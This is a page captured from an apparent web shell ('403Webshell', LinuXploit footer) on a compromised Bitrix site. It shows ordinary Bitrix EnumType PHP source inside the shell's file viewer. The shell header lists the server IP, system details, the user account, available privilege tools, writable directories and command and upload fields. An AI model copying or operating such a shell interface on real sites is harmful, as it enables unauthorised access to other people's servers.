403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/main/lib/userfield/types/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/main/lib/userfield/types/enumtype.php
<?php

namespace Bitrix\Main\UserField\Types;

use Bitrix\Main\Localization\Loc;
use Bitrix\Main\Text\HtmlFilter;
use CDBResult;
use CUserFieldEnum;
use CUserTypeManager;
use Bitrix\Main\Context;

Loc::loadMessages(__FILE__);

/**
 * Class EnumType
 * @package Bitrix\Main\UserField\Types
 */
class EnumType extends BaseType
{
	public const USER_TYPE_ID = 'enumeration';
	public const RENDER_COMPONENT = 'bitrix:main.field.enum';
	public const DISPLAY_LIST = 'LIST';
	public const DISPLAY_CHECKBOX = 'CHECKBOX';
	public const DISPLAY_UI = 'UI';
	public const DISPLAY_DIALOG = 'DIALOG';

	/**
	 * @return array
	 */
	public static function getDescription(): array
	{
		return [
			'DESCRIPTION' => Loc::getMessage('USER_TYPE_ENUM_DESCRIPTION'),
			'BASE_TYPE' => CUserTypeManager::BASE_TYPE_ENUM,
		];
	}

	public static function renderField(array $userField, ?array $additionalParameters = []): string
	{
		static::getEnumList($userField, $additionalParameters);
		return parent::renderField($userField, $additionalParameters);
	}

	public static function renderView(array $userField, ?array $additionalParameters = []): string
	{
		static::getEnumList($userField, $additionalParameters);
		return parent::renderView($userField, $additionalParameters);
	}

	public static function renderEdit(array $userField, ?array $additionalParameters = []): string
	{
		static::getEnumList($userField, $additionalParameters);
		return parent::renderEdit($userField, $additionalParameters);
	}

	public static function renderEditForm(array $userField, ?array $additionalParameters): string
	{
		$enum = call_user_func([$userField['USER_TYPE']['CLASS_NAME'], 'getlist'], $userField);
		if (!$enum)
		{
			return '';
		}
		$items = [];
		while ($item = $enum->GetNext())
		{
			$items[$item['ID']] = $item;
		}
		$additionalParameters['items'] = $items;

		return parent::renderEditForm($userField, $additionalParameters);
	}

	public static function renderFilter(array $userField, ?array $additionalParameters): string
	{
		$enum = call_user_func([$userField['USER_TYPE']['CLASS_NAME'], 'getlist'], $userField);
		if (!$enum)
		{
			return '';
		}
		$items = [];
		while ($item = $enum->GetNext())
		{
			$items[$item['ID']] = $item['VALUE'];
		}
		$additionalParameters['items'] = $items;
		return parent::renderFilter($userField, $additionalParameters);
	}

	public static function renderAdminListView(array $userField, ?array $additionalParameters): string
	{
		static $cache = [];

		$emptyCaption = '&nbsp;';

		$value = (int)($additionalParameters['VALUE'] ?? 0);
		$fieldId = (int)$userField['ID'];

		if (!isset($cache[$fieldId][$value]))
		{
			$enum = call_user_func([$userField['USER_TYPE']['CLASS_NAME'], 'getlist'], $userField);
			if (!$enum)
			{
				$additionalParameters['VALUE'] = $emptyCaption;
				return parent::renderAdminListView($userField, $additionalParameters);
			}
			while ($item = $enum->Fetch())
			{
				$cache[$fieldId][(int)$item['ID']] = $item['VALUE'];
			}
		}
		if (!isset($cache[$fieldId][$value]))
		{
			$cache[$fieldId][$value] = $emptyCaption;
		}

		$additionalParameters['VALUE'] = $cache[$fieldId][$value];
		return parent::renderAdminListView($userField, $additionalParameters);
	}

	public static function renderAdminListEdit(array $userField, ?array $additionalParameters): string
	{
		$enum = call_user_func([$userField['USER_TYPE']['CLASS_NAME'], 'getlist'], $userField);
		$values = [];
		if ($enum)
		{
			while ($item = $enum->GetNext())
			{
				$values[$item['ID']] = $item['VALUE'];
			}
		}
		$additionalParameters['enumItems'] = $values;

		return parent::renderAdminListEdit($userField, $additionalParameters);
	}

	/**
	 * @return string
	 */
	public static function getDbColumnType(): string
	{
		$connection = \Bitrix\Main\Application::getConnection();
		$helper = $connection->getSqlHelper();
		return $helper->getColumnTypeByField(new \Bitrix\Main\ORM\Fields\IntegerField('x'));
	}

	/**
	 * @param array $userField
	 * @return array
	 */
	public static function prepareSettings(array $userField): array
	{
		$height = (int)($userField['SETTINGS']['LIST_HEIGHT'] ?? 0);
		$display = $userField['SETTINGS']['DISPLAY'] ?? '';
		$caption_no_value = trim($userField['SETTINGS']['CAPTION_NO_VALUE'] ?? '');
		$show_no_value = (isset($userField['SETTINGS']['SHOW_NO_VALUE']) && $userField['SETTINGS']['SHOW_NO_VALUE'] === 'N' ? 'N' : 'Y');

		$displays = [
			self::DISPLAY_CHECKBOX,
			self::DISPLAY_UI,
			self::DISPLAY_DIALOG,
		];

		if (!in_array($display, $displays, true))
		{
			$display = self::DISPLAY_LIST;
		}

		return [
			'DISPLAY' => $display,
			'LIST_HEIGHT' => ($height < 1 ? 1 : $height),
			'CAPTION_NO_VALUE' => $caption_no_value, // no default value - only in output
			'SHOW_NO_VALUE' => $show_no_value, // no default value - only in output
		];
	}

	/**
	 * @param array $userField
	 * @param string|array $value
	 * @return array
	 */
	public static function checkFields(array $userField, $value): array
	{
		return [];
	}

	/**
	 * @param array $userField
	 * @return string|null
	 */
	public static function onSearchIndex(array $userField): ?string
	{
		$res = '';

		if (is_array($userField['VALUE']))
		{
			$val = $userField['VALUE'];
		}
		else
		{
			$val = [$userField['VALUE']];
		}

		$val = array_filter($val, 'strlen');
		if (!empty($val))
		{
			$ob = new CUserFieldEnum();
			$rs = $ob->GetList([], [
				'USER_FIELD_ID' => $userField['ID'],
				'ID' => $val,
			]);

			while ($ar = $rs->Fetch())
			{
				$res .= $ar['VALUE'] . '\r\n';
			}
		}

		return $res;
	}

	/**
	 * @param array $userField
	 * @param array $additionalParameters
	 * @return array
	 */
	public static function getFilterData(array $userField, array $additionalParameters): array
	{
		$enum = call_user_func([$userField['USER_TYPE']['CLASS_NAME'], 'getlist'], $userField);
		$items = [];
		if ($enum)
		{
			while ($item = $enum->GetNext())
			{
				$items[$item['ID']] = $item['VALUE'];
			}
		}
		return [
			'id' => $additionalParameters['ID'],
			'name' => $additionalParameters['NAME'],
			'type' => 'list',
			'items' => $items,
			'params' => ['multiple' => 'Y'],
			'filterable' => '',
		];
	}

	/**
	 * @param array $userField
	 * @return bool|CDBResult
	 */
	public static function getList(array $userField)
	{
		$userFieldEnum = new CUserFieldEnum();
		return $userFieldEnum->GetList([], ['USER_FIELD_ID' => $userField['ID'] ?? null]);
	}

	/**
	 * @param array $userField
	 * @param array $additionalParameters
	 */
	public static function getEnumList(array &$userField, array $additionalParameters = []): void
	{
		$showNoValue = (
			(!isset($userField['MANDATORY']) || $userField['MANDATORY'] !== 'Y')
			||
			(!isset($userField['SETTINGS']['SHOW_NO_VALUE']) || $userField['SETTINGS']['SHOW_NO_VALUE'] !== 'N')
			||
			(
				isset($additionalParameters['SHOW_NO_VALUE'])
				&&
				$additionalParameters['SHOW_NO_VALUE'] === true
			)
		);

		if (
			$showNoValue
			&&
			(
				(!isset($userField['SETTINGS']['DISPLAY']) || $userField['SETTINGS']['DISPLAY'] !== 'CHECKBOX')
				||
				(!isset($userField['MULTIPLE']) || $userField['MULTIPLE'] !== 'Y')
			)
		)
		{
			$enum = [null => static::getEmptyCaption($userField)];
			$userField['USER_TYPE']['FIELDS'] = $enum;
			$userField['USER_TYPE']['~FIELDS'] = $enum;
		}

		$enumList = static::getList($userField);

		while ($item = $enumList->Fetch())
		{
			$userField['USER_TYPE']['FIELDS'][$item['ID']] = HtmlFilter::encode($item['VALUE']);
			$userField['USER_TYPE']['~FIELDS'][$item['ID']] = $item['VALUE'];
		}
	}

	/**
	 * @array $userField
	 * @param array $userField
	 * @return string
	 */
	public static function getEmptyCaption(array $userField): string
	{
		$message = ($userField['SETTINGS']['CAPTION_NO_VALUE'] ?? '');
		return (
			$message !== ''
				? HtmlFilter::encode($userField['SETTINGS']['CAPTION_NO_VALUE'])
				: Loc::getMessage('USER_TYPE_ENUM_NO_VALUE')
		);
	}

	/**
	 * Returns values from multiple enumerations by their ID.
	 * @param array[] $userFields It has to have the "ID" keys in subarrays.
	 * @return bool|CDBResult
	 */
	public static function getListMultiple(array $userFields)
	{
		$ids = [];
		foreach ($userFields as $field)
		{
			$ids[] = $field['ID'];
		}
		$userFieldEnum = new CUserFieldEnum();
		return $userFieldEnum->GetList(
			['USER_FIELD_ID' => 'ASC', 'SORT' => 'ASC', 'ID' => 'ASC'],
			['USER_FIELD_ID' => $ids]
		);
	}

	/**
	 * @param array $userField
	 * @param array|null $additionalParameters
	 * @return array
	 */
	public static function getGroupActionData(array $userField, ?array $additionalParameters): array
	{
		$result = [];
		$enum = call_user_func([$userField['USER_TYPE']['CLASS_NAME'], 'getlist'], $userField);
		if (!$enum)
		{
			return $result;
		}

		while ($item = $enum->GetNext())
		{
			$result[] = ['NAME' => $item['VALUE'], 'VALUE' => $item['ID']];
		}

		return $result;
	}

	/**
	 * @param array $userField
	 * @param array|null $additionalParameters
	 * @return string
	 */
	public static function getAdminListEditHtmlMulty(array $userField, ?array $additionalParameters): string
	{
		return static::renderAdminListEdit($userField, $additionalParameters);
	}

	public static function getDefaultValue(array $userField, array $additionalParameters = [])
	{
		if (!isset($userField['ENUM']))
		{
			$userField['ENUM'] = [];
			$enumValuesManager = new CUserFieldEnum();
			$dbRes = $enumValuesManager->getList(
				[],
				[
					'USER_FIELD_ID' => $userField['ID'],
					'DEF' => 'Y',
				]
			);

			while ($enumValue = $dbRes->fetch())
			{
				$userField['ENUM'][] = [
					'ID' => $enumValue['ID'],
					'VALUE' => $enumValue['VALUE'],
					'DEF' => $enumValue['DEF'],
					'SORT' => $enumValue['SORT'],
					'XML_ID' => $enumValue['XML_ID'],
				];
			}
		}

		$userField['ENTITY_VALUE_ID'] = 0;
		return static::getFieldValue($userField, $additionalParameters);
	}

	public static function onBeforeSave($userField, $value)
	{
		return ($userField['MULTIPLE'] !== 'Y' && is_array($value)) ? array_shift($value) : $value;
	}

	public static function getFieldValue(array $userField, array $additionalParameters = [])
	{
		$bVarsFromForm = ($additionalParameters['bVarsFromForm'] ?? false);
		if (!$bVarsFromForm && !isset($additionalParameters['VALUE']))
		{
			if (
				isset($userField['ENTITY_VALUE_ID'], $userField['ENUM'])
				&& $userField['ENTITY_VALUE_ID'] <= 0
			)
			{
				$value = ($userField['MULTIPLE'] === 'Y' ? [] : null);
				foreach ($userField['ENUM'] as $enum)
				{
					if ($enum['DEF'] === 'Y')
					{
						if ($userField['MULTIPLE'] === 'Y')
						{
							$value[] = $enum['ID'];
						}
						else
						{
							$value = $enum['ID'];
							break;
						}
					}
				}
			}
			else
			{
				$value = $userField['VALUE'] ?? null;
			}
		}
		elseif (isset($additionalParameters['VALUE']))
		{
			$value = $additionalParameters['VALUE'];
		}
		else
		{
			$value = Context::getCurrent()->getRequest()->get($userField['FIELD_NAME']);
		}

		return $value;
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit